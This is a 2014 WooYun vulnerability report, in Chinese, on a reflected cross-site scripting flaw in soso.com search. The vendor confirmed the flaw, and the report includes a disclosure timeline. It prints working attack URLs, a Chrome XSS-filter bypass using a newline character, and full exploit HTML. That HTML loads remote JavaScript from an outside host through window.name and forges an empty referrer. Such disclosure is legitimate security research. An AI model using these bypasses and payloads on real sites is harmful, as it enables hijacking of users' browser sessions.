当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-063890

漏洞标题:soso主站反射型跨站(如何突破短的限制)

相关厂商:搜狗

漏洞作者: vanilla

提交时间:2014-06-07 13:57

修复时间:2014-07-23 22:04

公开时间:2014-07-23 22:04

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-07: 细节已通知厂商并且等待厂商处理中
2014-06-09: 厂商已经确认,细节仅向厂商公开
2014-06-19: 细节向核心白帽子及相关领域专家公开
2014-06-29: 细节向普通白帽子公开
2014-07-09: 细节向实习白帽子公开
2014-07-23: 细节向公众公开

简要描述:

soso主站反射型跨站,其中遇到一个过chrome xssfilter的方法,也有突破短的限制,refferer伪造等猥琐的方法,执行任意js。算是一次艰难的弹框之旅吧,所以发上来大家讨论下

详细说明:

在对soso进行测试的时候发现

http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=</script>&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461


发现控制台报错了,心中窃喜查看源代码,果然存在问题:

1.png


下面就是怎么过浏览器xss filter的问题:

http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=%3C/script%3E%3Cimg/src=x%20onerror=alert(1)//&w=xxxxx&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461


无疑会被chrome的xss filter拦截,但是当我在onerror后面加一个%0a后就不拦截了,变成了

http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=%3C/script%3E%3Cimg/src=x%20onerror%0a=alert(1)//&w=xxxxx&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461


成功alert

2.png


正当我窃喜之际,新的问题又出现,竟然有长度限制,我要的效果是远程加载任意js,一个弹框当然不能满足我
不过绕过限制也很简单,可以利用window.name可以跨域的特性,我们可以构造如下代码

<html>
<body>
<script>
window.name="with(document)body.appendChild(createElement('script')).src='//jtask.sinaapp.com/t.js'";
location.href="http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=%3C/script%3E%3Csvg/onload%0c=eval(name)//x&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461";
},500);
</script>
</body>
</html>


保存为test.html,满怀欣喜的去访问

http://jtask.sinaapp.com/test.html


结果却没有任何反应,百思不得其解,难道是修复了?然后我把链接复制到地址栏重新打开却是可以的?
突然我灵光一闪,难道是?验证了refferer
果然
那我们要如何构造一个空的refferer呢?也就是伪造refferer
直接上代码:

<html>
<body>
<script>
window.name="with(document)body.appendChild(createElement('script')).src='//jtask.sinaapp.com/t.js'";//设置跨站代码
</script>
<iframe id="my1" name="with(document)body.appendChild(createElement('script')).src='//jtask.sinaapp.com/t.js'" src="about:blank"><!--关键位置refferer为空-->
</iframe>
<script>
var mf=document.getElementById("my1");
mf.contentWindow.document.write('<script>top.location.href="http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=%3C/script%3E%3Csvg/onload%0c=eval(name)//x&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461"</sc'+'ript>');
</script>
</body>
</html>


解释:
利用about:blank协议构造空的refferer,用window.name跨域传输跨站代码,突破短的限制。让后用top.location.href跳转回soso的链接。
顺利加载远程js

3.png


但是这个代码只能在chrome上运行,在firefox上并不能运行,原因是在firefox上不能伪造
refferer。
总结:
1、利用</script>跳出script
2、利用%0a过chrome xss filter
3、利用window.name突破短的限制
4、利用iframe伪造refferer
最后顺利执行跨站代码
关于firefox的伪造refferer以后再深入研究。

漏洞证明:

在chrome下访问:

http://jtask.sinaapp.com/test.html


或者访问,弹框

http://www.soso.com/q?utf-8=ie&pid=s.idx&cid=s.idx.se&unc=&query=%3C/script%3E%3Cimg/src=x%20onerror%0a=alert(1)//&w=xxxxx&sut=484&sst0=1402016862602&lkt=3%2C1402016862118%2C1402016862461


3.png

修复方案:

过滤/

版权声明:转载请注明来源 vanilla@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:2

确认时间:2014-06-09 10:58

厂商回复:

收到,感谢支持,欢迎到SGSRC提交漏洞!

最新状态:

暂无